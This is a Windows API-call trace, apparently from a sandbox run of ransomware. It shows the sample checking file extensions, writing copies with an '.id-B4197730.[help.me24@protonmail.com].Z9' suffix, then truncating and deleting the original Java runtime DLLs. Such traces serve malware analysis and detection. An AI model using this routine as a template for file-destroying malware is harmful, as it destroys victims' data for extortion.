	[0092.433] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".1cd") returned 4
	[0092.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.434] lstrlenW (lpString=".jpg") returned 4
	[0092.434] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.434] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.434] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0092.434] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.434] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=29760) returned 1
	[0092.434] CloseHandle (hObject=0x374) returned 1
	[0092.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20
	[0092.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.435] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.435] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.435] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.435] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.435] GetLastError () returned 0x0
	[0092.435] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0092.437] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0092.439] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.439] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.439] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.439] CloseHandle (hObject=0x2b8) returned 1
	[0092.439] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.439] SetEndOfFile (hFile=0x374) returned 1
	[0092.440] CloseHandle (hObject=0x374) returned 1
	[0092.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.440] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".doc") returned 4
	[0092.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString=".docx") returned 5
	[0092.441] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0092.441] lstrlenW (lpString=".pdf") returned 4
	[0092.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString=".xls") returned 4
	[0092.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString=".xlsx") returned 5
	[0092.441] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0092.441] lstrlenW (lpString=".ppt") returned 4
	[0092.441] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".zip") returned 4
	[0092.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString=".rar") returned 4
	[0092.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString=".bz2") returned 4
	[0092.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.441] lstrlenW (lpString=".7z") returned 3
	[0092.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".dbf") returned 4
	[0092.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".1cd") returned 4
	[0092.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".jpg") returned 4
	[0092.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.441] lstrlenW (lpString=".doc") returned 4
	[0092.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString=".docx") returned 5
	[0092.442] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0092.442] lstrlenW (lpString=".pdf") returned 4
	[0092.442] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString=".xls") returned 4
	[0092.442] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString=".xlsx") returned 5
	[0092.442] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0092.442] lstrlenW (lpString=".ppt") returned 4
	[0092.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.442] lstrlenW (lpString=".zip") returned 4
	[0092.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString=".rar") returned 4
	[0092.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.442] lstrlenW (lpString=".bz2") returned 4
	[0092.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.442] lstrlenW (lpString=".7z") returned 3
	[0092.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.442] lstrlenW (lpString=".dbf") returned 4
	[0092.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.442] lstrlenW (lpString=".1cd") returned 4
	[0092.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51
	[0092.442] lstrlenW (lpString=".jpg") returned 4
	[0092.442] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.442] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.442] lstrlenW (lpString="dt_socket.dll") returned 13
	[0092.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.443] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24640) returned 1
	[0092.443] CloseHandle (hObject=0x374) returned 1
	[0092.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20
	[0092.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.443] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.443] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.443] GetLastError () returned 0x0
	[0092.444] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x6040, lpOverlapped=0x0) returned 1
	[0092.497] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x6050, lpOverlapped=0x0) returned 1
	[0092.498] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.498] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1
	[0092.498] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.499] CloseHandle (hObject=0x2b8) returned 1
	[0092.499] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.499] SetEndOfFile (hFile=0x374) returned 1
	[0092.500] CloseHandle (hObject=0x374) returned 1
	[0092.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.500] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1
	[0092.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.500] lstrlenW (lpString=".doc") returned 4
	[0092.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.500] lstrlenW (lpString=".docx") returned 5
	[0092.500] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0092.500] lstrlenW (lpString=".pdf") returned 4
	[0092.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.500] lstrlenW (lpString=".xls") returned 4
	[0092.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.500] lstrlenW (lpString=".xlsx") returned 5
	[0092.500] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0092.500] lstrlenW (lpString=".ppt") returned 4
	[0092.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".zip") returned 4
	[0092.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString=".rar") returned 4
	[0092.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString=".bz2") returned 4
	[0092.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.501] lstrlenW (lpString=".7z") returned 3
	[0092.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".dbf") returned 4
	[0092.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".1cd") returned 4
	[0092.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".jpg") returned 4
	[0092.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".doc") returned 4
	[0092.501] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString=".docx") returned 5
	[0092.501] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0092.501] lstrlenW (lpString=".pdf") returned 4
	[0092.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString=".xls") returned 4
	[0092.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString=".xlsx") returned 5
	[0092.501] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0092.501] lstrlenW (lpString=".ppt") returned 4
	[0092.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.501] lstrlenW (lpString=".zip") returned 4
	[0092.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.502] lstrlenW (lpString=".rar") returned 4
	[0092.502] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.502] lstrlenW (lpString=".bz2") returned 4
	[0092.502] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.502] lstrlenW (lpString=".7z") returned 3
	[0092.502] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.502] lstrlenW (lpString=".dbf") returned 4
	[0092.502] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.502] lstrlenW (lpString=".1cd") returned 4
	[0092.502] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0092.502] lstrlenW (lpString=".jpg") returned 4
	[0092.502] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.502] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.502] lstrlenW (lpString="eula.dll") returned 8
	[0092.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.502] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=136256) returned 1
	[0092.502] CloseHandle (hObject=0x374) returned 1
	[0092.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20
	[0092.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.503] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.503] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.503] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.503] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.503] GetLastError () returned 0x0
	[0092.503] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x21440, lpOverlapped=0x0) returned 1
	[0092.636] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x21450, lpOverlapped=0x0) returned 1
	[0092.638] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.639] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0092.639] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.639] CloseHandle (hObject=0x2b8) returned 1
	[0092.639] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.639] SetEndOfFile (hFile=0x374) returned 1
	[0092.640] CloseHandle (hObject=0x374) returned 1
	[0092.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.641] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1
	[0092.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.642] lstrlenW (lpString=".doc") returned 4
	[0092.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.642] lstrlenW (lpString=".docx") returned 5
	[0092.642] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0092.642] lstrlenW (lpString=".pdf") returned 4
	[0092.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.642] lstrlenW (lpString=".xls") returned 4
	[0092.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.642] lstrlenW (lpString=".xlsx") returned 5
	[0092.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0092.642] lstrlenW (lpString=".ppt") returned 4
	[0092.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.642] lstrlenW (lpString=".zip") returned 4
	[0092.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.642] lstrlenW (lpString=".rar") returned 4
	[0092.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".bz2") returned 4
	[0092.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.643] lstrlenW (lpString=".7z") returned 3
	[0092.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString=".dbf") returned 4
	[0092.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString=".1cd") returned 4
	[0092.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString=".jpg") returned 4
	[0092.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString=".doc") returned 4
	[0092.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".docx") returned 5
	[0092.643] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0092.643] lstrlenW (lpString=".pdf") returned 4
	[0092.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".xls") returned 4
	[0092.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".xlsx") returned 5
	[0092.643] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0092.643] lstrlenW (lpString=".ppt") returned 4
	[0092.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.643] lstrlenW (lpString=".zip") returned 4
	[0092.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".rar") returned 4
	[0092.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.643] lstrlenW (lpString=".bz2") returned 4
	[0092.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.643] lstrlenW (lpString=".7z") returned 3
	[0092.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.644] lstrlenW (lpString=".dbf") returned 4
	[0092.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.644] lstrlenW (lpString=".1cd") returned 4
	[0092.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0092.644] lstrlenW (lpString=".jpg") returned 4
	[0092.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.644] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.644] lstrlenW (lpString="fxplugins.dll") returned 13
	[0092.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.646] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=186944) returned 1
	[0092.646] CloseHandle (hObject=0x374) returned 1
